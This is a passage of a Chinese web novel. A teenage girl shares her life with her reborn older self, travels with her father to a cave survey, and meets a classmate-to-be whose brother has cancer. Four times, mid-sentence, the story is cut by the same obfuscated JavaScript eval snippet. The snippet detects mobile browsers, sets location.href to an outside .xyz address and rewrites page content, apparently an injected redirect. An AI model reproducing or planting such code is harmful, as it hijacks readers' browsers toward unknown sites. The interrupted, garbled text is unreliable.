秦女士在老温身旁站定,手上的毛巾“啪”一下抽在老温背上,在老温的衣服上留下浅浅的水渍。 秦女士:“洗澡。” 老温摸着背“嗷”了一嗓子,装作很疼的样子。他有些无辜地看着自己老婆,仿佛在用眼睛问秦女士,为什么只打他。 秦女士也不解释,抽完就走开了。大温在一旁偷笑,悄悄冲老温比了个胜利的“耶”。 大温知道秦女士宠她,不管事情好赖,总之先怪老温。除非是真的做坏事了,不然秦女士都只会怪老温。 老温没法,只能灰溜溜收拾衣服去洗澡了。热水器没法两个人同时使用,水会变得忽冷忽热,大温拿出遥控调了几个频道,打算在客厅看会电视,等老温洗完。 秦女士拿吹风机把头发吹了个半干,她在客厅里走走停停,犹豫了好一会才坐到大温身边。 大温以为秦女士要说什么,结果她坐了好几分钟也没说话,仿佛只是来陪大温看电视的。 大温和秦女士一起生活了十几年,大概能看懂一些秦女士的肢体语言,她猜测秦女士是在担心她昨天大哭的事。 思量片刻,大温开口道:“我没事,就是做了个噩梦。” 一个很长很长的噩梦。 大温感觉到秦女士的身体放松了些,好想心里压着的一块大石头终于落地了。 大温:“抱歉,让你们担心了。” 秦女士把手搭在大温大腿上,她看着大温的眼睛,摇了摇头。 秦女士:“我们是家人。” 秦女士没有接着说下去,她不太好意思用言语表达自己的爱,但是大温读懂了她没说出口的话。 我们是家人,家里的任何一位成员难过,其他成员都会无条件关心。 这份关心不求回报,干净而纯粹,仅仅因为我们是血脉相连的家人。 大温:“嗯,我们是家人。” 大温的眼睛有些酸涩,她从小到大很少哭,重生后像是要把从前没哭的份全都哭回来一样。 大温握住秦女士的手,两人的手大小差不多,母女二人没再言语,静静看着无聊的晚间频道。 直到老温洗好澡,大温才松开手,她站起来停顿了下,回头对秦女士说:“晚安,秦女士。” 秦女士:“晚安。” …… 入睡后,大温照常进入逆转空间,室内长着两棵椰子树,椰子树中间挂着一个吊床,小温就躺在吊床上。 小温还是第一次睡在吊床上,这体验怪新奇的。 大温路过吊床,头顶传来小温看电视剧的声音。 真悠闲啊,大温心想。 不管逆转空间怎么变化,大温都会留一张柔软的沙发,方便她随时躺平。 此时大温优雅地绕过地上的破烂——那些都是她在构想物品时产生的废物,走到沙发跟前坐下。 她在脑中复盘今天经历的事,有些在意花奶奶出门的时间。 小温的记忆中,花奶奶说她打算饭后再下楼接着种花,根据这一点来看,花奶奶似乎就是饭后下楼时摔倒的。 上一世大温上楼叫黄阿姨的时候,黄阿姨没有在厨房准备晚饭,这一点可以证实这个猜测。 但是大温还是觉得哪里不对劲,说不上来的不对劲。 时间是不是有些太赶了? 大温摩挲着沙发表面的绒布,她在思考的时候总是喜欢摸点什么。 除了这件事以外,还有一件事需要考虑,就是重生系统。 关于系统,大温知之甚少,这个系统是凭空出现的。 大温不相信世界上有免费的午餐,这个系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904003|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统一定会收取报酬,只是不知道是何种报酬,又会在什么时候收取。 “想不通,想不通啊!” 大温唉声叹气地倒在沙发上,吊床上的小温探头看了她一眼,问:“怎么了?” 大温:“没事,想不通人怎么在海里呼吸而已。” 小温:“……” 小温白了大温一眼,又躺回去了。 这是第一个事件结束的夜晚,她们应该好好放松一下,至少应该让小温好好放松一下。大温不想告诉小温自己的疑虑,她希望小温继续做一个天真可爱的十五岁小女孩。 距离科考队出发还有半个月,这半个月间小温过得很充实,期间有几个初中玩得好的同学邀她去玩,小温每次出去玩都会特意玩到晚上。 小温想让大温也亲身体验一下,像个十五岁少女一样玩乐的感觉,她希望大温能够过得开心。 每天傍晚,小温会准时被传送到逆转空间门外,作为访客,她每天都需要拉开那扇黑色的小门,才能进入逆转空间。 这些天以来大温也没闲着,她经常呼叫系统,询问一些事情,只是不知是不是系统故障的原因,它总是无响应。 除此之外大温还在练习准确控制想象,把逆转空间变成她想象中的模样。 每天小温拉开门都能看见些新奇玩意,游在空中的鱼、上下颠倒的房间、会结土豆的树……不过,这些其实都是小意思。 科考队出发的前天傍晚,小温照常拉开门,眼前是淡蓝色的海水,原本该是屋顶的地方变成了水面,风吹过时能看到水面上的阳光被风吹碎。 鱼群在小温眼前游弋,大的小的各种各样,一只白得透明的水母一收一缩游到了小温面前,它在小温面前停下,抬起触手对她招招手。 小温:“……” 这也太吓人了,要是有人闯入肯定会产生新的都市传说。 纯白的水母向小温伸出手,小温大概猜到了,这应该是大温留下的引路水母,这里实在太大了,小温自己恐怕得好一会才找到联络设备。 小温伸手戳了戳,眼前的海水像蓝色的果冻一样,Q弹Q弹的。 小温把手伸进果冻一样的海水里,很奇妙的体验,海水并不排斥她。 小温尝试睁眼呼吸,眼睛不会刺痛,呼吸也不受阻碍。这就是大温不断尝试下的最新成果,她已经能够想象出一个人类可以自由呼吸的海洋了。 水母游啊游,停在了一个河蚌做成的屋子前,示意小温走进去。贝壳屋没有门,小温径直走入,贝壳屋内没有海水,搬张板凳坐在门口可以很好地看到淡蓝色的深海。 还挺好看的。 贝壳屋靠墙处有一张电脑桌,电脑屏幕亮着,屏幕上是大温发来的新消息。 【大温】:玩得开心。 大温大概是看出了小温的小心思,小温希望大温快乐,大温也希望小温快乐。 自己永远是最了解自己的人,大温知道十五岁的自己曾经幻想过在海底生活,幻想过亲眼看看海底的生物。 这是大温的回报,小温带大温出门和朋友玩,大温送给小温一个奇妙的水下世界。 小温拉开椅子,坐在电脑桌前打字。 【小温】:玩得开心。 5. 观鸟少年(一) 小温很喜欢大温送的海底世界,她和大温在海底玩了一晚上,早上甚至不愿醒来。 美好的时光终有尽头,小温不情不愿地从床上爬起来,睡眼惺忪地在日历上划去今天的日期。 今天就是科考队出发的日子了,没法睡懒觉了。 老温征求了秦女士、科考队领队以及成员的意见,费了一番周折,终于全票通过了。 老温的同事里,有些觉得无所谓,有些担心安全问题,还有一些在期待见到小温。 他们共事多年,不止一次听老温提起自己女儿。老温每次得了点什么东西都要跟同事炫耀,生怕别人不知道他有女儿,搞得不少人都对他女儿充满好奇。 但是老温从来不发女儿的正脸照片,最多发个背影,大家纷纷好奇,老温干嘛藏着掖着。 于是有人好奇问老温,他女儿长啥样,老温笑着说“天仙一样”。 现在,“天仙一样”的小温背上背包,和老温一起站在家门口和秦女士道别。 秦女士今天休息,身上的睡衣还没有换,她平静地站在门口目送一大一小两个人出门。 “我走啦,拜拜,秦女士!”小温兴高采烈地挥挥手,老温也跟着挥挥手。 …… 考察地在外省,老温订了两张动车票。小温不是第一次坐动车,但还是像个孩子一样雀跃。 十五岁正是天真烂漫的年纪,小温对万事万物都充满了兴趣。 父女俩的座位挨在一起,老温把行李箱放到行李架上,小温坐到靠车窗的一侧,她一坐下就扒着车窗往外看。 车窗外很多人,大部分人提前找到了车厢,走过小温窗前的人有些少。 正感到无聊时,一个白衬衫,脖子上挂着黑色相机的男生拖着行李箱路过车窗,因为来得有些迟,他脚步有些急。 男生的相貌出众,和小温差不多年纪,小温没忍住多看了几眼。 男生带着相机,小温猜测他是出门旅游的。男生身边跟着一个和老温差不多年纪的中年男人,男人带着银边眼睛,气质儒雅,二人长得有些像,大概是父子。 那对父子走得急,很快便走出了小温的视野,小温又看了会,没看到什么好看的人或新奇的事。 小温收回目光,瘫在座位上,她有点无聊,抬手捶了一下旁边的老温。 老温正在看手机,目光都没有偏移,只是伸出右手对小温做出了个讨钱的手势:“一百。” 小温又捶了一下。 “两次了,两百。” “太贵了。” 发车广播响了,列车缓缓启动,小温余光瞥见一个白色的身影,她一侧头,看见了刚才的那对父子。 男生手上的行李箱已经放好了,脖子上依然挂着相机。父子二人一前一后,走到了过道对侧的座位坐下。 和老温一样,他们买的也是相邻的座位,男生坐在中间,他父亲坐在靠近走道一侧。 男生坐下后端起脖子上的相机,似乎打算看看里边的照片,察觉到有人在看着他,一转头,正巧和小温四目相对。 啊,被发现了。 小温有些心虚,她移开目光,头没有动,目光落在男生身后一排,假装是在看别处。 男生先是愣了一下,随后冲她微微一笑。 乘务员背着手路过,提醒其他乘客安全摆放行李架上的行李,有乘客在小声交谈,也有乘客在外放电视剧,车厢里有些嘈杂。 老温发现小温的异样,顺着她的目光看去,看到了一对父子。 不知出于什么心理,老温摸着下巴思索片刻后,侧头和戴着银边眼镜的中年男人搭话。 “嘿,兄弟,去旅游的吗?” 男人温和地回应了老温的搭讪:“对,听说沛霖市的山水好,我陪犬子出门采采风。” 小温在旁边偷听他们聊天,男人说话有些文绉绉的,感觉像是从事语言文字方面工作的。 老温:“诶,好巧,我和我女儿也要去沛霖市,只不过是去工作。” 男人讶然:“令媛也跟你去工作吗?” 老温:“对,我科考队的,准备去沛霖市的一个地下溶洞。” 男人好像起了兴趣:“原来是科考队的,这倒是个展开课外教育的好机会。” 聊到孩子教育问题,两位父亲都来了兴趣,自顾自地聊起来了。小温和男生面面相觑,作为话题的当事人,两个孩子都有些尴尬。 老温:“是啊,刚好这次去的地方没什么危险,适合带她去。” 老温说着,目光落在男人旁边的少年身上。 老温:“说起来,你们家孩子多大了啊?看着和我女儿差不多大。” 男人:“十六岁,开学高一了。” 老温更惊讶了:“这么巧,我家这只泼猴也是。” 老温边说边把伸手,小温本来坐在旁边玩手机缓解尴尬,一只大手突然罩在她头顶,五指山一样压着她。 老温压得小温脖子沉了沉,小温攥拳,剜了老温一眼,看在他还在和别人聊天的份上,晚点再收拾他。 男生一直看着小温,他注意到了小温的表情,嘴角翘起一个小小的弧度。 “是吗,那还挺有缘。”男人伸出手,“何祎庵,这是我儿子何景澄。” 隔着一条过道,老温和何祎庵握了握手:“温君,这泼猴是我家姑娘温流照。” “你说谁是泼猴?”小温实在忍不住了,一把掐住老温的脖子往上提溜。 小温手劲很大,掐得老温连忙举手投降。小温看目的达到了,手一松,老温揉着脖颈咳嗽了两声。 老温:“咳咳,说错了,这位孔武有力的女士是我女儿温流照。” 老温说到“孔武有力”时还特意提高音量强调,小温一把拽住老温的衣领,笑眯眯说道:“你孔武有力的女儿要用孔武有力的拳头孔武有力地打你了!” 老温偏头对何祎庵挤眉弄眼,悄悄伸手指小温,仿佛在控诉小温的“暴行”。 何祎庵感觉他们父女俩的互动挺有意思的,一直饶有兴趣地看着他们。 “咔嚓——”细微的相机快门声从过道另一侧传来,小温抬头就见何景澄不知道何时举起了相机,镜头对准了她和老温。 小温和何景澄四目相对,两个人都愣住了。 何景澄:“不好意思,我觉得你们的互动很有趣,所以擅自拍下了。” 何景澄也觉得自己有些冒昧,他把相机从脖子上摘下,走到老温身旁。为了不挡路,何景澄尽量靠着老温的位置站。 何景澄:“你们若是介意的话,我可以删掉。” 何景澄把相机递给老温,老温稳稳接过,小温好奇地伸个头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904004|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑过去看。 小温的视角看不太清楚,就见照片刚好拍下了老温向何祎庵无声控诉,一只手悄悄指着小温。小温笑眯眯地揪着老温的领子,画面说不上来的滑稽。 老温有些心虚地瞥了眼小温,小温翻了个白眼,懒得和他计较。 小温从老温手机拿过相机,她不是很懂相机,但看得出来何景澄的相机质量挺好的,照片很清晰。 小温凑近了看,感觉这张照片拍得还蛮有意思的,她把相机还给何景澄。 小温:“不用删了,照片可以发我一份吗?” “可以的。”何景澄微笑回答,“照片要等下车才能导出,加个联系方式,晚点再发给你吧。” 二人很自然地交换了联系方式,小温的头像是只灰蓝色的缅因猫,何景澄的头像是只呆头呆脑的简笔画夜鹭,看起来像个孩子画的,和他本人的气质截然相反。 “这是夜鹭吗?”老温不知何时也凑了过来,偷看小温的手机。 “过分了啊。”小温拍了两下老温的脑门,老温捂着脑门坐回去了。 恰好大温发来了消息,一个戳一戳的表情包,是在问她进展如何。 【小温】:一切顺利。 【大温】;开心.JPG 小温关掉手机,默了一会又打开手机。 【小温】:车上遇到了一对父子,儿子叫何景澄,都是一个城市的,你认识吗? 小温原本不想问的,实在有点好奇,还是问了。 大温那头陷入了长久的沉默,小温盯着聊天框等了一会,没等到大温的回复,她有点疑惑地关了手机。 今天的逆转空间是零食屋,棉花糖做的墙壁,黑白巧克力做的桌椅,还有蜂窝蛋糕做的沙发,这是大温想象中用来放松的地方。 冰箱里放在各种各样的雪糕冰淇淋还有小蛋糕,灵魂体没有饱腹感,更不会长胖,在这里大温可以尽情享受甜品。 但是大温现在没有在享用那些美味的甜品,她坐在电脑前,盯着屏幕上的聊天框,手上用来叉蛋糕的叉子掉在桌面上。 谁?小温说她遇到了谁? 大温不可置信地看着那个名字。 何景澄。 大温高一时的同班同学,后来保送国内一流名校的学神。 大温起身在零食屋里转悠了几圈,一会望天,一会看地,大约转了一分钟,她又回到了电脑前。 大温打了一行字,然后又删掉,重复几遍后,才终于按下发送键。 【大温】:你确定他的名字是何景澄这三个字吗? 小温没回话,发了一张聊天截图。 【何景澄】:你好,我是何景澄。 【小温】:你好,我是温流照。 大温放大截图,何景澄的头像是一只蓝背黄爪,头顶两根白色长羽的滑稽鸟类,大温对这个头像印象很深,高中三年何景澄一直顶着这个头像。 这个头像和他本人温和有礼的气质截然相反,被包括大温在内的不少同学吐槽过。 还真是他。 大温没想到这次去沛霖市居然刚好碰上何景澄,命运还真是神奇。沉默许久,大温回答了小温的问题。 【大温】:他是未来保送名校的学神,是我高一的同班同学。 【大温】:详情今晚再说,总之他是个好人。 6. 观鸟少年(二) 学神?同班同学? 小温悄悄偏头看过道另一侧的何景澄,他正手捧相机,翻看里边的照片。 小温的学习成绩不错,但不算顶尖,尖子班中游水平。 小温很佩服那些成绩特别优异的人,初中时就有个女生特别厉害,回回都拿第一,女生和她不是一个班,但住在一个小区,偶尔会打照面。每次见到女生,她总是脚步匆匆,赶着去学习。 小温佩服他们脑子聪明,还愿意专注于一件事上。她就不太行了,她的脑子有一半是肌肉,有点灵光,但不多,之前还犹豫过要不干脆去当体育生好了。 后来觉得自己要是真去当体育生了,可能真会彻底放弃用脑,变成一个肌肉白痴,所以她最后还是没报名。 小温看着何景澄,很难把眼前这个安静的男生和“学神”这样张扬的称号联系起来。 一个鼻子两个眼,除了长得有点好看之外和普通人没啥区别,为何被称为神? 旁边的老温在和何祎庵聊天,老温这个社牛和谁都能聊点,小温都见怪不怪了。 小温收回目光,百无聊赖地刷着手机。 何景澄没动,眼珠转了转,用余光看向小温。他早就发现了小温的目光,只是没有动作。 何景澄现在还有些惊讶,虽然期待过偶遇,但遇见小温还是在他的计划之外。 几个小时的车程在闲聊和打闹中度过,老温和何祎庵意外地聊得来,甚至还约好了下车一起去饭馆搓一顿。 “这家这家,我问了朋友,他说好吃。” “问问孩子们的意见?” “我觉得不错。” “我饿了,待会我要吃超级多!” 动车即将到站,何景澄去拿行李箱,老温也起身把行李架上的背包和行李箱取下,小温接过背包背好,随着人流一起到车门处等待。 动车靠站,车门打开,人群像水龙头里的水一样涌出,他们四个人也随着人流走动。老温拖着行李箱和何祎庵走在前头,两位父亲边走边聊,何景澄放慢脚步和小温同行。 小温转动眼珠子,用余光打量着何景澄。 得知何景澄是未来学神后,她总是忍不住多多打量他。 小温长得高,十五岁已有一米七,何景澄比她还要高一些,约莫高出三四厘米。可能是因为正在抽条的缘故,少年的身体纤瘦,皮肤白皙。 二人沉默地并肩而行,在人声和行李箱滚轮滚地声中,小温侧头问道:“你的头像好像是夜鹭吧?是自己画的吗?” “是我弟弟画的。”何景澄嘴角勾起一个小幅度的笑,似乎很高兴小温能主动搭话,“他很喜欢鸟,经常让我拍各种鸟类的照片和视频。” “他为什么不自己去啊?”小温心直口快,甫一说出口就感觉说错话了。 何景澄的头微微低垂,神情有一瞬间的忧伤。 “我弟弟暂时没有机会出门观鸟了,他在住院,骨肉瘤。” 小温的嘴张了又关,关了又张,安慰的话在唇边转了一圈,最后也只能说了句:“抱歉……” 癌症离小温的生活有些遥远,她想不出什么合适的安慰话。 何景澄摇摇头,意思是她不用道歉:“其实还好啦,发现得早,还有治愈的可能。” 行李箱的滚轮滚过水泥地,发出“咕咚咕咚”的声响,两人沉默了十几秒钟的时间。 “医生说要让我弟弟开心一点,保持愉悦的心情更有利于治疗,所以我经常往外跑,充当他的眼睛,去寻找各种鸟类的踪迹。” “一开始,我也分不清那是什么鸟,于是什么都拍。拍了很多自认为不同的鸟类照片带回去,被我弟弟告知那其中有一半是夜鹭,他笑话了我好几天。” 何景澄说到这笑了,好像想起了当时的场景。 “后来有段时间他精神好点了,说我和夜鹭有缘,给我画了一张夜鹭的简笔画。我很喜欢,就拿来当头像了。” “原来如此……”小温没想到这个头像背后还有这样沉重的故事,一时无言。 虽然何景澄说得很乐观,但小温知道,骨肉瘤的致死率很高,就算治好了也可能终身残疾,何景澄的弟弟可能再也没机会亲自出门观鸟了。 “你们两个,怎么走这么慢——” 老温拉长调子的声音传来,小温抬头,老温他们不知何时已经走到了路边。 老温站在几十米外,两手做喇叭状对小温和何景澄喊道:“车都到了——” 一辆白色的出租车停在前方的道路上,何祎庵叫了辆的,老温冲他们招招手,二人快步跟了上去。 作为四个人里唯一的女性,小温坐到了副驾驶座上,三位男性挤在后排。 小温一坐下来就给秦女士发了消息报平安,秦女士回了个很可爱的猫猫点头的表情包,表示她知道了。 等到了约好的饭店时,时间已经到了下午六点,大温时间到了。 大温已经习惯了换人时的头疼感,她夹菜的动作没有出现变化,端起碗扒拉了两口饭。 大温夹了条油菜花,一口咬住下边的杆,叼着油菜花一点点顺着杆嚼,她边嚼边悄悄看对面的何景澄。 何景澄和她记忆中的样子差不多,白衬衫黑裤子,白净的少年形象。 大温从小温的记忆里得知了何景澄弟弟的事,有些意外,她以为学神这样的人,人生应该是一帆风顺、没什么烦恼的。 人们常常把某个在某方面很厉害的人奉为神,神应该是没有烦恼的,至少人们想象不出神苦恼的样子。 没想到他也有烦恼,还是重生也无法改变的烦恼。 得知这件事后,大温莫名感觉何景澄离她没有那么遥远了。 何景澄现在就坐在大温对面,除去“学神”的外壳,他也只是一个普通的小男生,甚至还可能是个比大温幼稚的小男生,毕竟他才十六岁。 老温和何祎庵聊到了工作的事,何祎庵是一家大型出版社的编辑部主任,大温感慨,难怪他说话有些文绉绉的。 大温是出过社会的人,此时听着老温和何祎庵聊天不由得惊叹,这就是社交的手腕吗?不知道的还以为他俩是多年好友呢。 相较两位父亲,两位孩子就生分许多。一方面是大温一直把何景澄当校园明星,和他聊天有些拘谨。 另一方面则是……大温一个(前)社畜,实在有点不知道怎么和十六岁的小男生聊天。唉,这天还是小温来聊更好,大温端起装着橙汁的玻璃杯喝了一口。 晚餐过后,老温和何祎庵照常进行中国人的固定节目——抢买单。 老温:“说好了这餐我请客。” 何祎庵:“不行,那怎么行。” 收银小姐笑呵呵地看着二人,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904005|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见怪不怪了。大温挠挠头,趁着二人争执,悄悄跑到收银小姐的面前,掏出手机二维码。 伴随着“嘀”的一声脆响,柜台上的打印机打出小票,老温和何祎庵齐刷刷看过来。 大温面无表情比了个耶,何祎庵叹气,老温乐了,转身跟大温击掌。 “啪”地一声响,老温冲大温比了个大拇指:“干得漂亮,温流照同学。” 收银小姐把小票撕下来递给大温,她脸上挂着招牌的职业微笑,声音很好听:“一共683,请拿好您的小票,慢走,四位,欢迎下次光临。” 何祎庵还有点过意不去:“下次有机会再一次吃一顿,我请客。” 老温随口应道:“行啊。” 四人走出饭店,何景澄和何祎庵并肩而行,少年比父亲矮了半个头,走出几步远后,何景澄回头,他看到大温在原地注视着他,浅浅笑了。 “再见,温同学。” “回头见,何景澄!” 大温挥挥手,她知道这个“回头见”是真的“回头见”,一个多月后他们就会在学校里见面。 何景澄也挥挥手,今天是很开心的一天,至少他很开心。 …… 科考队成员们各自出发,先在县城里的酒店住一晚,第二天才汇合,一起下乡。 从市区到科考所在的县城还有一个多小时的车程,到预定好的酒店时已经将近晚上八点。 老温拿了两张房卡,“嘀”一下打开大温的房门,举着手机仔仔细细检查过每一个角落,确认没有偷拍的摄像头后,这才放心回自己屋。 舟车劳顿,小温的身体确实累了。第二日还要赶早,简单洗漱后,大温早早睡了。 逆转空间里,小温正在啃黑巧克力椅子的椅背。 小温已经好奇很久了,这个零食做成的屋子里所有东西都是食物做成的,这些食物做成的家具到底能不能吃?是什么口感的? 小温犹豫了很久,看了看时间,才九点多,还早着呢。 小温张大嘴,一口咬在巧克力椅背上,有点硬,一下没咬动,正准备用点力,大温就出现了。 作为逆转空间的主人,大温每天都会直接传送到逆转空间内部,只是每天的位置都不一样。 好巧不巧,大温今天刚好传送到小温面前。 小温反坐在椅子上,缩着脖子,两手抓着椅背,保持着啃椅背的姿势没动,她现在尴尬得不敢抬眼看大温。 大温就站在小温面前,她摸着下巴,有些不理解小温在干什么。 “小温同学,我留了这么多零食你不吃,你要啃我椅子?”大温不可置信。 “才不是!我只是有点好奇椅子能不能吃……”小温越说越小声,她自己也感觉怪荒谬的。 “椅子就是椅子,当然不能吃啊。”大温的回答斩钉截铁。 零食屋的家具虽然是食物做的,但本质上并不是食物,就像是公园里带着年轮的长椅其实是水泥做的一样,其实是一种欺诈。这些家具也是同理,只是看起来像食物。 “咳咳,不说这个了,讲讲何景澄的事吧。”小温不想和大温讨论她啃椅子的事了,有些生硬地转移话题。 大温拍拍手,身后出现了一个果冻做的躺椅,大温一屁股坐下去时,绿色的果冻还弹了弹。 “这次的故事很短,也很简单。” 7. 观鸟少年(三) 大温世界里,大温是在十一月的时候正式入学的,天气冷下来了,寒风吹过,她默默用围巾一圈一圈把下半张脸和脖子围起来。 “温流照同学因为特殊原因晚入学了,希望大家能和她好好相处,多帮帮她。”班主任的声音温和,许多目光落在大温身上。 大温不想和人说话,其他同学看她阴沉沉的也不想和她搭话。 班主任知道大温家的情况,很关心她,特意安排她和当时的生活委员徐幼盈同桌,拜托徐幼盈多多关照大温。 下午最后一节课结束的时候,大温坐在座位上发呆,她几乎发呆了一整天,同桌的徐幼盈好几次想和她搭话,她的回答都很冷漠。 “嗯”“好”“无所谓”“随便你”,大温一直用这样简单的字词回复徐幼盈。 大温听着女孩的声音越来越小,最后,女孩邀请大温一起去食堂,大温拒绝了。 窗外的天空很红,大温撑着下巴侧头看,她什么也没想,就那样静静看着。 “咚咚——” 一双骨节分明的手在大温的桌子上敲了两下,敲门一样。大温的思维暂时回到现实的世界中,她回头,看到眼前站着一个穿着蓝白色校服的男生。 男生怀里抱着一本很厚的笔记本,看到大温抬头后,他把笔记递向大温。 “温同学,你需要笔记吗?” 男生的声音很好听,教室里不知何时只剩下他们两个,大温微微抬头看着何景澄的眼睛。 “你在和我搭话?为什么?” 何景澄显然没料到大温会这样问,他有一瞬间的怔愣,而后温声答道:“我只是在帮助一位同学。” 如果何景澄说他怜悯大温之类的话,大温会明确拒绝和他沟通。 老温离世后,她听到太多安慰的话了,听得整个人都麻木了。那些安慰轻飘飘的,像用茅草做成的扫帚扫过嵌在泥里的石块,没什么作用。 还好何景澄没说,他只是把大温当成一位可能需要帮助的同学,而不是死了亲人的可怜人。 “谢谢。”大温接过笔记本,她又把半张脸藏进围巾里了,说话声音有些闷。 何景澄把笔记本交给大温便离开了,大温一个人坐在教室里,她翻开笔记本,扉页写着何景澄的名字。 高一(1)班何景澄。 这时大温才知道他的名字,何景澄,她又在心里默念了一遍。 晚自习前,徐幼盈回到教室,从手中的纸袋里掏出一根金黄色的玉米。 徐幼盈:“我看你好像没有吃晚餐,我给你带了根玉米。不吃东西不行的,要不……你吃完再发呆?” 大温觉得徐幼盈怪好笑的,怎么就算发呆也要先吃东西啊。 徐幼盈是个很好心的女孩子,只是有点笨,不太会安慰人,也不知道班主任为什么会拜托她照顾大温。 可能是因为徐幼盈这像老妈子一样爱操心的性格? 大温最终接过了那根玉米,还有点温温热,打开包装袋啃了一口,甜滋滋的。 在徐幼盈的努力下,大温终于对徐幼盈敞开心扉了。在交谈中,大温发现徐幼盈是个外柔内刚的女孩,和她恰好相反。 真神奇,两个性格恰好相反的人成为了最最要好朋友,连吃饭上厕所都要一起去的好朋友。 后来大温还挺愧疚一开始对徐幼盈那么冷漠的,徐幼盈在她眼中是全世界最好的朋友。 借助何景澄的笔记,大温顺利追平各科老师上课的进度,和何景澄建立了友好关系。每次大温有哪里看不懂的都可以去找何景澄,他总会耐心和她解释。 经过几轮考试,何景澄的突出表现让各科老师大加赞赏,他像一颗冉冉升起的新星,那么耀眼,也那么遥远。 高二分班后,大温和徐幼盈还是一个班,何景澄毫不意外分到了火箭班。 那是学校重点培养的班级,不仅不用交学费,每年都有高额奖学金。 大温依然能从其他同学的口中听到何景澄的消息,听说他去了火箭班也是全班第一,他对待同班同学依旧友善礼貌,他参加的比赛地点也是越来越远,校级、市级、区级、国家级…… 和何景澄见十次面,有半数是在领奖台上。 每次大温都会看着台上的少年,和台下的同学们一起鼓掌,她衷心祝福他越飞越远。 何景澄越来越耀眼了,如果同班的时候他只是一颗星星,那么现在已经变成满月了。 星星可能会被城市的霓虹灯光所掩盖,月亮不会,他始终耀眼。 不过,大温不太喜欢和过于耀眼的人离得太近,放慢脚步迁就他人很痛苦,加快脚步追逐他人也很痛苦。 那时的大温没有追逐他人的勇气,所以她主动疏远了何景澄。 她主动选择了观众席,而非那个盛大的舞台。 “大概就是这样,何景澄是那时候班里唯二对我表现出恰到好处的关心的同学。”大温结束了讲述,她静静看着小温。 没有什么旖旎的浪漫故事,只是一段短且平凡的友谊。 “意料之内的故事。”小温评价道。 “是啊,很平淡的故事。” 大温直起身,小温还是先前反坐椅子的姿势,双臂交叠搭在椅背上。 大温的目光轻柔地抚摸过小温的脸颊,她的眼中藏着期待,她在看另一个年幼的自己。 大温:“小温同学,你的人生会是个精彩的故事吗?” 小温:“你这话说得好像你是一个看客一样。” 小温指了指墙上的挂钟,示意她们现在是一体二魂轮流生活的状态。 小温:“我们现在可是命运共同体,一荣俱荣一损俱损。” 大温微笑着,没回话。 …… 第二日清晨,小温按时醒来,吃过早饭,老温带小温去了约定好的集合地点,他们差不多是踩点来的,人基本都来齐了。 小温能感觉到老温的同事们纷纷对她投来打量的目光,她估摸着是老温经常跟他们提起自己。小温早就发现了,老温真的很喜欢和人炫耀他有老婆孩子。 过了一会,一个头发花白的老教授姗姗来迟。 那是个五十多岁男人,很典型的老学术分子,严肃正经、不苟言笑,满脸写着“权威”二字,让人面对他的时候不由自主挺直腰板。 大厅里的科考队成员原本歪七扭八站得零零散散的,老教授一来,所有人都不由自主挺起腰杆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904006|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原本有个二十七八岁的女人回头,想和小温搭话,看见老教授走来立刻站直了,假装自己是根不会说话的电线杆。 小温听见了窸窸窣窣的议论声,诸如“吕教授来了”“站好点站好点”之类的。 小温不知道为什么也跟着站直了,可能这就是从众心理?人在人群里总是容易做出和多数人一样的事。 老教授名叫吕瀚博,是水文方面的专家,他目光环视一圈,确认没有缺人后,开始和负责管理设备的女人确认设备情况。 包括后勤和向导在内,整个团队一共九人,成员年龄有大有小,最年轻的二十来岁,是一位后勤人员,看起来刚工作没几年。 后勤人员租了两辆车,把一大堆小温看不懂的设备扛上车装好,装好车正式出发已经接近八点。 带路的向导坐到了前头领队的那辆车的驾驶坐上,他刚一伸手打开车门,小温还没反应过来怎么回事,就见一群人乌泱泱挤到了另一辆车上。 一群人打开车门,坐下,再关上车门,速度快得只是眨两次眼的时间,车外站着的就只剩下四个人了。 那位威严的老教授拉开副驾驶座的车门,上了领队那辆车,小温看了看站在第二辆车旁边手足无措的年轻男人,又看了看老温,一脸茫然。 